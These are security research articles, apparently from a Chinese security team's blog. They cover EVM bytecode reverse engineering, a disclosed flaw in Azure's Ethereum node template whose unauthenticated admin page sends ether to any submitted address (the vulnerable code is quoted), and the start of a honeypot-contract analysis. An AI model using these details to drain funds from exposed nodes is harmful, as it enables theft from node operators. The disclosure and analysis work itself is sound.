1234567891011121314151617181920212223242526272829303132333435363738[ 0x0] | PUSH1 | ['0x80'][ 0x2] | PUSH1 | ['0x40'][ 0x4] | MSTORE | None[ 0x5] | PUSH1 | ['0x4'][ 0x7] | CALLDATASIZE | None[ 0x8] | LT | None[ 0x9] | PUSH2 | ['0x61'][ 0xc] | JUMPI | None[ 0xd] | PUSH4 | ['0xffffffff'][ 0x12] | PUSH29 | ['0x100000000000000000000000000000000000000000000000000000000'][ 0x30] | PUSH1 | ['0x0'][ 0x32] | CALLDATALOAD | None[ 0x33] | DIV | None[ 0x34] | AND | None[ 0x35] | PUSH4 | ['0x6b59084d'][ 0x3a] | DUP2 | None[ 0x3b] | EQ | None[ 0x3c] | PUSH2 | ['0x66'][ 0x3f] | JUMPI | None[ 0x40] | DUP1 | None[ 0x41] | PUSH4 | ['0x8da5cb5b'][ 0x46] | EQ | None[ 0x47] | PUSH2 | ['0xa4'][ 0x4a] | JUMPI | None[ 0x4b] | DUP1 | None[ 0x4c] | PUSH4 | ['0xcaf44683'][ 0x51] | EQ | None[ 0x52] | PUSH2 | ['0xb9'][ 0x55] | JUMPI | None[ 0x56] | DUP1 | None[ 0x57] | PUSH4 | ['0xe3ac5d26'][ 0x5c] | EQ | None[ 0x5d] | PUSH2 | ['0xd3'][ 0x60] | JUMPI | None[ 0x61] | JUMPDEST | None[ 0x62] | PUSH1 | ['0x0'][ 0x64] | DUP1 | None[ 0x65] | REVERT | None反编译出来的代码就是:
1234567891011121314def main():if CALLDATASIZE >= 4:data = CALLDATA[:4]if data == 0x6b59084d:test1()elif data == 0x8da5cb5b:owner()elif data == 0xcaf44683:test2()elif data == 0xe3ac5d26:prize()else:passraisePS:因为个人习惯问题,反编译最终输出没有选择对应的Solidity代码,而是使用Python。
从上面的代码我们就能看出来,EVM是根据
CALLDATA
的前4字节来确定调用的函数的,这4个字节表示的是函数的sha3哈希值的前4字节:123456789> web3.sha3("test1()")"0x6b59084dfb7dcf1c687dd12ad5778be120c9121b21ef90a32ff73565a36c9cd3"> web3.sha3("owner()")"0x8da5cb5b36e7f68c1d2e56001220cdbdd3ba2616072f718acfda4a06441a807d"> web3.sha3("prize()")"0xe3ac5d2656091dd8f25e87b604175717f3442b1e2af8ecd1b1f708bab76d9a91"# 如果该函数有参数,则需要加上各个参数的类型> web3.sha3("test2(uint256)")"0xcaf446833eef44593b83316414b79e98fec092b78e4c1287e6968774e0283444"所以可以去网上找个哈希表映射[6],这样有概率可以通过hash值,得到函数名和参数信息,减小逆向的难度
主函数中的函数
上面给出的测试智能合约中只有两个函数,但是反编译出来的主函数中,却有4个函数调用,其中两个是公有函数,另两个是公有变量
智能合约变量/函数类型只有两种,公有和私有,公有和私有的区别很简单,公有的是能别外部调用访问,私有的只能被本身调用访问
对于变量,不管是公有还是私有都能通过
getStorageAt
访问,但是这是属于以太坊层面的,在智能合约层面,把公有变量给编译成了一个公有函数,在这公有函数中返回SLOAD(slot)
,而私有函数只能在其他函数中特定的地方调用SLOAD(slot)
来访问在上面测试的智能合约中,
test1()
函数等同于owner()
,我们可以来看看各自的OPCODE:123456789101112131415161718192021222324252627282930313233343536373839404142434445; test1(); 0x66: loc_66[ 0x66] | JUMPDEST | None[ 0x67] | CALLVALUE | None[ 0x68] | DUP1 | None[ 0x69] | ISZERO | None[ 0x6a] | PUSH2 | ['0x72'][ 0x6d] | JUMPI | None[ 0x6e] | PUSH1 | ['0x0'][ 0x70] | DUP1 | None[ 0x71] | REVERT | None; 0x72: loc_72[ 0x72] | JUMPDEST | None[ 0x73] | POP | None[ 0x74] | PUSH2 | ['0x7b'][ 0x77] | PUSH2 | ['0xfa'][ 0x7a] | JUMP | None; 0xFA: loc_fa[ 0xfa] | JUMPDEST | None[ 0xfb] | PUSH1 | ['0x0'][ 0xfd] | SLOAD | None[ 0xfe] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0x113] | AND | None[ 0x114] | SWAP1 | None[ 0x115] | JUMP | None; 0x7B: loc_7b[ 0x7b] | JUMPDEST | None[ 0x7c] | PUSH1 | ['0x40'][ 0x7e] | DUP1 | None[ 0x7f] | MLOAD | None[ 0x80] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0x95] | SWAP1 | None[ 0x96] | SWAP3 | None[ 0x97] | AND | None[ 0x98] | DUP3 | None[ 0x99] | MSTORE | None[ 0x9a] | MLOAD | None[ 0x9b] | SWAP1 | None[ 0x9c] | DUP2 | None[ 0x9d] | SWAP1 | None[ 0x9e] | SUB | None[ 0x9f] | PUSH1 | ['0x20'][ 0xa1] | ADD | None[ 0xa2] | SWAP1 | None[ 0xa3] | RETURN | None和
owner()
函数进行对比:123456789101112131415161718192021222324252627282930313233343536373839404142434445; owner(); 0xA4: loc_a4[ 0xa4] | JUMPDEST | None[ 0xa5] | CALLVALUE | None[ 0xa6] | DUP1 | None[ 0xa7] | ISZERO | None[ 0xa8] | PUSH2 | ['0xb0'][ 0xab] | JUMPI | None[ 0xac] | PUSH1 | ['0x0'][ 0xae] | DUP1 | None[ 0xaf] | REVERT | None; 0xB0: loc_b0[ 0xb0] | JUMPDEST | None[ 0xb1] | POP | None[ 0xb2] | PUSH2 | ['0x7b'][ 0xb5] | PUSH2 | ['0x116'][ 0xb8] | JUMP | None; 0x116: loc_116[ 0x116] | JUMPDEST | None[ 0x117] | PUSH1 | ['0x0'][ 0x119] | SLOAD | None[ 0x11a] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0x12f] | AND | None[ 0x130] | DUP2 | None[ 0x131] | JUMP | None; 0x7B: loc_7b[ 0x7b] | JUMPDEST | None[ 0x7c] | PUSH1 | ['0x40'][ 0x7e] | DUP1 | None[ 0x7f] | MLOAD | None[ 0x80] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0x95] | SWAP1 | None[ 0x96] | SWAP3 | None[ 0x97] | AND | None[ 0x98] | DUP3 | None[ 0x99] | MSTORE | None[ 0x9a] | MLOAD | None[ 0x9b] | SWAP1 | None[ 0x9c] | DUP2 | None[ 0x9d] | SWAP1 | None[ 0x9e] | SUB | None[ 0x9f] | PUSH1 | ['0x20'][ 0xa1] | ADD | None[ 0xa2] | SWAP1 | None[ 0xa3] | RETURN | None所以我们可以得出结论:
1234567891011121314address public a;会被编译成(==)function a() public returns (address) {return a;}#address private a;function c() public returns (address) {return a;}等同于下面的变量定义(≈)address public c;公有函数和私有函数的区别也很简单,公有函数会被编译进主函数中,能通过
CALLDATA
进行调用,而私有函数则只能在其他公有函数中进行调用,无法直接通过设置CALLDATA
来调用私有函数回退函数和payable
在智能合约中,函数都能设置一个
payable
,还有一个特殊的回退函数,下面用实例来介绍回退函数比如之前的测试合约加上了回退函数:
123function() {prize += 1;}则主函数的反编译代码就变成了:
1234567891011121314def main():if CALLDATASIZE >= 4:data = CALLDATA[:4]if data == 0x6b59084d:return test1()elif data == 0x8da5cb5b:return owner()elif data == 0xcaf44683:return test2()elif data == 0xe3ac5d26:return prize()assert msg.value == 0prize += 1exit()当
CALLDATA
和该合约中的函数匹配失败时,将会从抛异常,表示执行失败退出,变成调用回退函数每一个函数,包括回退函数都可以加一个关键字:
payable
,表示可以给该函数转帐,从OPCODE层面讲,没有payable
关键字的函数比有payable
的函数多了一段代码:123456789JUMPDEST | NoneCALLVALUE | NoneDUP1 | NoneISZERO | NonePUSH2 | ['0x8e']JUMPI | NonePUSH1 | ['0x0']DUP1 | NoneREVERT | None反编译成python,就是:
1assert msg.value == 0REVERT
是异常退出指令,当交易的金额大于0时,则异常退出,交易失败函数参数
函数获取数据的方式只有两种,一个是从storage中获取数据,另一个就是接受用户传参,当函数hash表匹配成功时,我们可以知道该函数的参数个数,和各个参数的类型,但是当hash表匹配失败时,我们仍然可以获取该函数参数的个数,因为获取参数和主函数、
payable
检查一样,在OPCODE层面也有固定模型:比如上面的测试合约,调动
test2
函数的固定模型就是:main -> payable check -> get args -> 执行函数代码
获取参数的OPCODE如下
12345678910; 0xAF: loc_af[ 0xaf] | JUMPDEST | None[ 0xb0] | POP | None[ 0xb1] | PUSH2 | ['0xd1'][ 0xb4] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0xc9] | PUSH1 | ['0x4'][ 0xcb] | CALLDATALOAD | None[ 0xcc] | AND | None[ 0xcd] | PUSH2 | ['0x18f'][ 0xd0] | JUMP | None函数test2的参数
p = CALLDATA[4:4+0x20]
如果有第二个参数,则是
arg2 = CALLDATA[4+0x20:4+0x40]
,以此类推所以智能合约中,调用函数的规则就是
data = sha3(func_name)[:4] + *args
但是,上面的规则仅限于定长类型的参数,如果参数是
string
这种不定长的变量类型时,固定模型仍然不变,但是在从calldata
获取数据的方法,变得不同了,定长的变量是通过调用CALLDATALOAD
,把值存入栈中,而string
类型的变量,因为长度不定,会超过256bits的原因,使用的是calldatacopy
把参数存入MEM可以看看
function test3(string a) public {}
函数获取参数的代码:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869; 0xB2: loc_b2[ 0xb2] | JUMPDEST | None[ 0xb3] | POP | None[ 0xb4] | PUSH1 | ['0x40'][ 0xb6] | DUP1 | None[ 0xb7] | MLOAD | None[ 0xb8] | PUSH1 | ['0x20'][ 0xba] | PUSH1 | ['0x4'][ 0xbc] | DUP1 | None[ 0xbd] | CALLDATALOAD | None[ 0xbe] | DUP1 | None[ 0xbf] | DUP3 | None[ 0xc0] | ADD | None[ 0xc1] | CALLDATALOAD | None[ 0xc2] | PUSH1 | ['0x1f'][ 0xc4] | DUP2 | None[ 0xc5] | ADD | None[ 0xc6] | DUP5 | None[ 0xc7] | SWAP1 | None[ 0xc8] | DIV | None[ 0xc9] | DUP5 | None[ 0xca] | MUL | None[ 0xcb] | DUP6 | None[ 0xcc] | ADD | None[ 0xcd] | DUP5 | None[ 0xce] | ADD | None[ 0xcf] | SWAP1 | None[ 0xd0] | SWAP6 | None[ 0xd1] | MSTORE | None[ 0xd2] | DUP5 | None[ 0xd3] | DUP5 | None[ 0xd4] | MSTORE | None[ 0xd5] | PUSH2 | ['0xff'][ 0xd8] | SWAP5 | None[ 0xd9] | CALLDATASIZE | None[ 0xda] | SWAP5 | None[ 0xdb] | SWAP3 | None[ 0xdc] | SWAP4 | None[ 0xdd] | PUSH1 | ['0x24'][ 0xdf] | SWAP4 | None[ 0xe0] | SWAP3 | None[ 0xe1] | DUP5 | None[ 0xe2] | ADD | None[ 0xe3] | SWAP2 | None[ 0xe4] | SWAP1 | None[ 0xe5] | DUP2 | None[ 0xe6] | SWAP1 | None[ 0xe7] | DUP5 | None[ 0xe8] | ADD | None[ 0xe9] | DUP4 | None[ 0xea] | DUP3 | None[ 0xeb] | DUP1 | None[ 0xec] | DUP3 | None[ 0xed] | DUP5 | None[ 0xee] | CALLDATACOPY | None[ 0xef] | POP | None[ 0xf0] | SWAP5 | None[ 0xf1] | SWAP8 | None[ 0xf2] | POP | None[ 0xf3] | PUSH2 | ['0x166'][ 0xf6] | SWAP7 | None[ 0xf7] | POP | None[ 0xf8] | POP | None[ 0xf9] | POP | None[ 0xfa] | POP | None[ 0xfb] | POP | None[ 0xfc] | POP | None[ 0xfd] | POP | None[ 0xfe] | JUMP | None传入的变长参数是一个结构体:
12345struct string_arg {uint offset;uint length;string data;}offset+4
表示的是当前参数的length
的偏移,length为data的长度,data就是用户输入的字符串数据当有多个变长参数时:
function test3(string a, string b) public {}
calldata
的格式如下:sha3(func)[:4] + a.offset + b.offset + a.length + a.data + b.length + b.data
翻译成py代码如下:
1234567def test3():offset = data[4:0x24]length = data[offset+4:offset+4+0x20]a = data[offset+4+0x20:length]offset = data[0x24:0x24+0x20]length = data[offset+4:offset+4+0x20]b = data[offset+4+0x20:length]因为参数有固定的模型,因此就算没有从hash表中匹配到函数名,也可以判断出函数参数的个数,但是要想知道变量类型,只能区分出定长、变长变量,具体是
uint
还是address
,则需要从函数代码,变量的使用中进行判断变量类型的分辨
在智能合约的OPCDOE中,变量也是有特征的
比如一个
address
变量总会& 0xffffffffffffffffffffffffffffffffffffffff
:1234PUSH1 | ['0x0']SLOAD | NonePUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff']AND | None上一篇说的mapping和array的储存模型,可以根据SHA3的计算方式知道是映射变量还是数组变量
再比如,
uint
变量因为等同于uint256
,所以使用SLOAD
获取以后不会再进行AND
计算,但是uint8
却会计算& 0xff
所以我们可以
SLOAD
指令的参数和后面紧跟的计算,来判断出变量类型智能合约代码结构
部署合约
在区块链上,要同步/发布任何信息,都是通过发送交易来进行的,用之前的测试合约来举例,合约地址为:
0xc9fbe313dc1d6a1c542edca21d1104c338676ffd
, 创建合约的交易地址为:0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed
查看下该交易的相关信息:
1234567891011121314151617> eth.getTransaction("0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed"){blockHash: "0x7f684a294f39e16ba1e82a3b6d2fc3a1e82ef023b5fb52261f9a89d831a24ed5",blockNumber: 3607048,from: "0x0109dea8b64d87a26e7fe9af6400375099c78fdd",gas: 171331,gasPrice: 1000000000,hash: "0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed",input: "0x608060405234801561001057600080fd5b5060008054600160a060020a0319163317905561016f806100326000396000f3006080604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416636b59084d81146100665780638da5cb5b146100a4578063caf44683146100b9578063e3ac5d26146100d3575b600080fd5b34801561007257600080fd5b5061007b6100fa565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100b057600080fd5b5061007b610116565b3480156100c557600080fd5b506100d1600435610132565b005b3480156100df57600080fd5b506100e861013d565b60408051918252519081900360200190f35b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600180549091019055565b600154815600a165627a7a7230582040d052fef9322403cb3c1de27683a42a845e091972de4c264134dd575b14ee4e0029",nonce: 228,r: "0xa08f0cd907207af4de54f9f63f3c9a959c3e960ef56f7900d205648edbd848c6",s: "0x5bb99e4ab9fe76371e4d67a30208aeac558b2989a6c783d08b979239c8221a88",to: null,transactionIndex: 4,v: "0x2a",value: 0}我们可以看出来,想一个空目标发送
OPCODE
的交易就是创建合约的交易,但是在交易信息中,却不包含合约地址,那么合约地址是怎么得到的呢?12345678function addressFrom(address _origin, uint _nonce) public pure returns (address) {if(_nonce == 0x00) return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(0x80)));if(_nonce <= 0x7f) return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(_nonce)));if(_nonce <= 0xff) return address(keccak256(byte(0xd7), byte(0x94), _origin, byte(0x81), uint8(_nonce)));if(_nonce <= 0xffff) return address(keccak256(byte(0xd8), byte(0x94), _origin, byte(0x82), uint16(_nonce)));if(_nonce <= 0xffffff) return address(keccak256(byte(0xd9), byte(0x94), _origin, byte(0x83), uint24(_nonce)));return address(keccak256(byte(0xda), byte(0x94), _origin, byte(0x84), uint32(_nonce))); // more than 2^32 nonces not realistic}智能合约的地址由创建合约的账号和
nonce
决定,nonce
用来记录用户发送的交易个数,在每个交易中都有该字段,现在根据上面的信息来计算下合约地址:1234# 创建合约的账号 from: "0x0109dea8b64d87a26e7fe9af6400375099c78fdd",# nonce: 228 = 0xe4 => 0x7f < 0xe4 < 0xff>>> sha3.keccak_256(binascii.unhexlify("d7" + "94" + "0109dea8b64d87a26e7fe9af6400375099c78fdd" + "81e4")).hexdigest()[-40:]'c9fbe313dc1d6a1c542edca21d1104c338676ffd'创建合约代码
一个智能合约的OPCODE分为两种,一个是编译器编译好后的创建合约代码,还是合约部署好以后runtime代码,之前我们看的,研究的都是runtime代码,现在来看看创建合约代码,创建合约代码可以在创建合约交易的
input
数据总获取,上面已经把数据粘贴出来了,反汇编出指令如下:12345678910111213141516171819202122232425262728293031323334353637; 0x0: main[ 0x0] | PUSH1 | ['0x80'][ 0x2] | PUSH1 | ['0x40'][ 0x4] | MSTORE | None[ 0x5] | CALLVALUE | None[ 0x6] | DUP1 | None[ 0x7] | ISZERO | None[ 0x8] | PUSH2 | ['0x10'][ 0xb] | JUMPI | None[ 0xc] | PUSH1 | ['0x0'][ 0xe] | DUP1 | None[ 0xf] | REVERT | None----------------------------------------------------------------; 0x10: loc_10[ 0x10] | JUMPDEST | None[ 0x11] | POP | None[ 0x12] | PUSH1 | ['0x0'][ 0x14] | DUP1 | None[ 0x15] | SLOAD | None[ 0x16] | PUSH1 | ['0x1'][ 0x18] | PUSH1 | ['0xa0'][ 0x1a] | PUSH1 | ['0x2'][ 0x1c] | EXP | None[ 0x1d] | SUB | None[ 0x1e] | NOT | None[ 0x1f] | AND | None[ 0x20] | CALLER | None[ 0x21] | OR | None[ 0x22] | SWAP1 | None[ 0x23] | SSTORE | None[ 0x24] | PUSH2 | ['0x24f'][ 0x27] | DUP1 | None[ 0x28] | PUSH2 | ['0x32'][ 0x2b] | PUSH1 | ['0x0'][ 0x2d] | CODECOPY | None[ 0x2e] | PUSH1 | ['0x0'][ 0x30] | RETURN | None代码逻辑很简单,就是执行了合约的构造函数,并且返回了合约的runtime代码,该合约的构造函数为:
123function Test() {owner = msg.sender;}因为没有
payable
关键字,所以开头是一个check代码assert msg.value == 0
然后就是对
owner
变量的赋值,当执行完构造函数后,就是把runtime代码复制到内存中:1CODECOPY(0, 0x32, 0x24f) # mem[0:0+0x24f] = CODE[0x32:0x32+0x24f]最后在把runtime代码返回:
return mem[0:0x24f]
在完全了解合约是如何部署的之后,也许可以写一个OPCODE混淆的CTF逆向题
总结
通过了解EVM的数据结构模型,不仅可以加快对OPCODE的逆向速度,对于编写反编译脚本也有非常大的帮助,可以对反编译出来的代码进行优化,使得更加接近源码。
在对智能合约的OPCODE有了一定的了解后,后续准备先写一个EVM的调试器,虽然Remix已经有了一个非常优秀的调试器了,但是却需要有
Solidity
源代码,这无法满足我测试无源码的OPCODE的工作需求。所以请期待下篇《以太坊智能合约OPCODE逆向之调试器篇》
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/ndex.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)引用
- https://github.com/comaeio/porosity
- https://github.com/meyer9/ethdasm
- https://github.com/trailofbits/evm-opcodes
- http://solidity.readthedocs.io/en/v0.4.21/assembly.html
- https://github.com/trailofbits/ida-evm
- https://github.com/trailofbits/ida-evm/blob/master/known_hashes.py
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/640/
-
Microsoft Azure 以太坊节点自动化部署方案漏洞分析
作者:sunsama@知道创宇404区块链安全研究团队
背景介绍
为了迎合以太坊区块链[1]发展需求,Microsoft Azure[2]早在2016年9月九推出了以太坊节点走自动部署的模块。部署情况如下:
登陆Microsoft Azure:
部署Ethereum Proof-of-Work Consortium:
访问建立的“ADMIN-SITE”可以看到一个“Blockchain Admin”界面:
我们注意到这个管理接口提供了一个“转账”功能并且整个页面缺少鉴权机制任何人都可以访问,这样就导致恶意攻击者可以通过该接口提交钱包地址和转账数量进行转账。
Web3.js 是⼀个兼容了以太坊核心功能的JavaScript库[3],很多以太坊客户端及DApp都是通过调用Web3.js的API接⼝来实现。 以太坊客户端开发库主要是提供了两种类型的API接口:RPC(Remote Procedure Call)及IPC(Inter-process Communications),在以往的攻击事件里很多关注点都在RPC接口上,而很少关注IPC接口,在本文的涉及“Blockchain Admin”的问题就发生在IPC接口上,由此下面做了详细的代码分析:
代码分析
在分析之前我们先介绍下PRC及IPC接口区别:
IPC与RPC简介
IPC(Inter-process Communications)进程间通信,是指在不同进程之间传播或交换信息,IPC的方式通常有管道、消息队列、信号量、共享存储、Socket、Stream等。对于geth来说IPC的方式更为高效,在安装geth之后 IPC socket不会自动创建,并且他也不是一个永久的资源,只有在启动geth时才会创建一个IPC Socket。
有以下几个参数可以在启动geth时配置IPC相关服务,其他参数可以使用geth —help查看。
123--ipcdisable Disable the IPC-RPC server--ipcapi "admin,eth,debug,miner,net,shh,txpool,personal,web3" API's offered over the IPC-RPC interface--ipcpath "geth.ipc" Filename for IPC socket/pipe within the datadir (explicit paths escape it)在geth启动时使用 --ipcpath来指定一个IPC路径,会有一段信息指明IPC的相关信息。例如
12IPC endpoint opened: /Users/username/Library/Ethereum/geth.ipcWeb3.js中提供了使用IPC通信的方法。
1234567// Using the IPC provider in node.jsvar net = require('net');var web3 = new Web3('/Users/myuser/Library/Ethereum/geth.ipc', net); // mac os path// orvar web3 = new Web3(new Web3.providers.IpcProvider('/Users/myuser/Library/Ethereum/geth.ipc', net)); // mac os path// on windows the path is: "\\\\.\\pipe\\geth.ipc"// on linux the path is: "/users/myuser/.ethereum/geth.ipc"node_modules/web3/lib/web3/ipcprovider.js
12345678var IpcProvider = function (path, net) {var _this = this;this.responseCallbacks = {};this.path = path;this.connection = net.connect({path: this.path});...............};https://github.com/ethereum/go-ethereum/wiki/Management-APIs中给出了在命令行使用IPC的例子
RPC(Remote Procedure Call)远程过程调用,指通过网络从远程计算机的程序上请求服务。geth为RPC提供了两种方法,分别是HTTP JSON RPC API(默认8545端口)和WebSocket JSON RPC API(默认8546端口)。
在命令行中可以使用以下参数配置RPC服务。
12345678910--rpc 启用HTTP-RPC服务器--rpcaddr value HTTP-RPC服务器接口地址(默认值:“localhost”)--rpcport value HTTP-RPC服务器监听端口(默认值:8545)--rpcapi value 基于HTTP-RPC接口提供的APIWebSocket--ws 启用WS-RPC服务器--wsaddr value WS-RPC服务器监听接口地址(默认值:“localhost”)--wsport value WS-RPC服务器监听端口(默认值:8546)--wsapi value 基于WS-RPC的接口提供的API--wsorigins value websockets请求允许的源同样的在Web3.js中也提供了使用RPC的方法。
1234567891011Http Apivar Web3 = require('web3');var web3 = new Web3('http://localhost:8545');// orvar web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545'));WebSocket Api// change providerweb3.setProvider('ws://localhost:8546');// orweb3.setProvider(new Web3.providers.WebsocketProvider('ws://localhost:8546'));1234567/*** HttpProvider should be used to send rpc calls over http*/var HttpProvider = function (host, timeout) {this.host = host || 'http://localhost:8545';this.timeout = timeout || 0;};以太坊黑色情人节事件中,攻击者就是利用了RPC接口进行恶意转账。
流程分析
我们在Blockchain Admin页面的两个输入框中输入转账地址和转账数量并提交。
/home/ethtest/etheradmin/app.js定义了提交后服务器处理的方法。
1234567891011121314151617181920212223242526272829303132333435命令行中的参数var listenPort = process.argv[2]var gethIPCPath = process.argv[3];var coinbase = process.argv[4];var coinbasePw = process.argv[5];var consortiumId = process.argv[6];var registrarHostEndpoint = process.argv[7];var registrarConnectionString = process.argv[8];var registrarDatatbaseId = process.argv[9];var registrarCollectionId = process.argv[10];定义了使用IPC服务var web3IPC = new Web3(new Web3.providers.IpcProvider(gethIPCPath, require('net')));··············app.post('/', function(req, res) {var address = req.body.etherAddress;//转账地址var amount = req.body.amount;//转账数量if(web3IPC.isAddress(address)) {//如果提交的地址是以太坊地址则解锁账号web3IPC.personal.unlockAccount(coinbase, coinbasePw, function(err, res) {console.log(res);//通过ipc方法发送一笔交易web3IPC.eth.sendTransaction({from: coinbase, to: address, value: web3IPC.toWei(amount, 'ether')}, function(err, res){ console.log(address)});});req.session.isSent = true;} else {req.session.error = "Not a valid Ethereum address";}res.redirect('/');});使用POST方法提交后,会判断我们输入的地址是否是合法的以太坊地址。默认情况下我们的账号是处于锁定状态的,这里判断地址正确后使用personl.unlockAccount()方法解锁账号。该方法需要的参数coinbase和coinbasePw在启动服务时已经在命令行中作为参数传递过来了,使用ps命令查看该服务的进程。
其中f9cdc590071d9993b198b08694e5edf376979ce6是我们的钱包地址,123qweasdZXC是解锁钱包需要的密码,/home/ethtest/.ethereum/geth.ipc是getIPCPath参数的内容。
personal.js中的unlockAccount方法。
123456var unlockAccount = new Method({name: 'unlockAccount',call: 'personal_unlockAccount',params: 3,inputFormatter: [formatters.inputAddressFormatter, null, null]});IpcProvider.js中对发送方法的定义。
1234567891011121314151617181920212223IpcProvider.prototype.send = function (payload) {if(this.connection.writeSync) {var result;// try reconnect, when connection is goneif(!this.connection.writable)this.connection.connect({path: this.path});var data = this.connection.writeSync(JSON.stringify(payload));try {result = JSON.parse(data);} catch(e) {throw errors.InvalidResponse(data);}return result;} else {throw new Error('You tried to send "'+ payload.method +'" synchronously. Synchronous requests are not supported by the IPC provider.');}};ipcprovider会调用JSONRPC.js将unlockAccount方法中的参数格式化为JSON格式。
在node_modules/web3/lib/web3/ipcprovider.js中下断点跟踪一下数据流。
然后将数据通过socket写入。
接下来geth通过IPC接收到了请求的方法和参数,然后使用UnlockAccount函数进行账户解锁,解锁账户后使⽤eth.sendTransaction⽅法发送交易。
sendTransaction方法会使用已经解锁后的本地账户的私钥进行签名,并使用SignedTransaction方法进行发送签名后的交易。
我们通过geth日志获取交易hash,在console中查看详细信息。
- 下面是从提交交易请求到生成交易并发送的流程图。
值得一提的是:在我们分析过程发现通过Microsoft Azure提供的以太坊节点自动化部署方案仍然使用的1.7.3版本的geth ⽽这个版本里UnlockAccount函数:
12345678910111213141516171819202122232425func (s *PrivateAccountAPI) UnlockAccount(addr common.Address, password string, duration *uint64) (bool, error) {const max = uint64(time.Duration(math.MaxInt64) / time.Second)var d time.Durationif duration == nil {d = 300 * time.Second} else if *duration > max {return false, errors.New("unlock duration too large")} else {d = time.Duration(*duration) * time.Second}err := fetchKeystore(s.am).TimedUnlock(accounts.Account{Address: addr}, password, d)return err == nil, err}wiki中对personal_unlockAccount方法的定义:
从keystore中解锁账户并获得私钥,并把已经解锁的私钥放到内存中。解锁账户的api允许传入超时时间,默认超时为300秒,如果传⼊入的超时时间为0,则是永久不不会超时,账户⼀直处于解锁状态,直到节点进程退出。这也是“以太坊【偷渡】漏洞事件[5]”发生的主要原因。
风险评估
在以往的关于以太坊攻击案例里更多的是发生在暴露在互联网的RPC接口上,⽽基于本地进程通讯的IPC接口 被认为是相对安全可靠的,但是如果类似于Microsoft Azure提供的以太坊节点⾃动化部署⽅案里 的“Blockchain Admin”基于IPC调⽤程序,本身没有任何认证直接暴露在互联网上无疑是巨大的安全风险。(注:通过ZoomEye⽹路空间搜索引擎[7]可以看到曾经暴露在互联网上的目标。)
在实际测试分析过程发现使用Microsoft Azure提供的以太坊节点自动化部署方案更多的是联盟链或私有链,部署共有链的情况较少,所以这个安全事件实际可能给共有链的带来的影响相对不大。对于联盟链或私有链的影响需要根据其本身的情况去衡量量评估。
报告流程
针对以上问题我们第一时间联系了微软:
- 2018年5月21日 相关问题描叙报告给MSRC邮件 secure@microsoft.com
- 2018年5月22日 收到MSRC邮件反馈并按要求补充了相关技术细节
- 2018年5月24日 收到MSRC Case分配确认邮件
- 2018年5月31日 收到MSRC关于ZoomEye搜索引擎相关细节询问并反馈
- 2018年7月6日 邮件MSRC追问相关问题修复进展
- 2018年7月10日 收到MSRC反馈邮件称:他们认为这个是设计考虑的问题,用户可以选择对管理页面进行限制,另外升级了Geth版本
总结
区块链虚拟货币安全事件频发,安全刻不不容。通过这次的案例可以得几点建议:
- 尽量避免使用这种自动化部署区块链应用的方案,如果必须使用的话,请仔细查看该方案使用的程序是否存在安全缺陷与漏洞。
- 修改默认端口,关闭对外的高权限接口,如果必须暴露在互联网,请对接口进行鉴权。
- 关注官方发布的更新日志,及时更新代码。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)参考
[1] https://baike.baidu.com/item/%E4%BB%A5%E5%A4%AA%E5%9D%8A/20865117?fr=aladdin
[2] https://azure.microsoft.com/en-us/
[3] https://github.com/ethereum/web3.js/
[4] https://github.com/ethereum/go-ethereum/wiki/Management-APIs
[5] https://paper.seebug.org/547/
[6] https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg
[7] https://www.zoomeye.org/searchResult?q=%22Blockchain%20Admin%22本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/638/
-
以太坊蜜罐智能合约分析
作者:dawu&0x7F@知道创宇404区块链安全研究团队
时间:2018/06/260x00 前言
在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots。
本文将对文中和评论中提到的 smart-contract-honeypots 和 Solidlity-Vulnerable 项目中的各蜜罐智能合约进行分析,根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面:
- 古老的欺骗手段
- 神奇的逻辑漏洞
- 新颖的赌博游戏
- 黑客的漏洞利用
基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到
118
个蜜罐智能合约地址,一共骗取了34.7152916
个以太币(2018/06/26
价值102946
元人民币),详情请移步文末附录部分。0x01 古老的欺骗手段
对于该类蜜罐合约来说,仅仅使用最原始的欺骗手法。
这种手法是拙劣的,但也有着一定的诱导性。1.1 超长空格的欺骗:WhaleGiveaway1
- Github地址:smart-contract-honeypots/WhaleGiveaway1.sol
- 智能合约地址:0x7a4349a749e59a5736efb7826ee3496a2dfd5489
在
github
上看到的合约代码如下:细读代码会发现
GetFreebie()
的条件很容易被满足:1234if(msg.value>1 ether){msg.sender.transfer(this.balance);}只要转账金额大于
1 ether
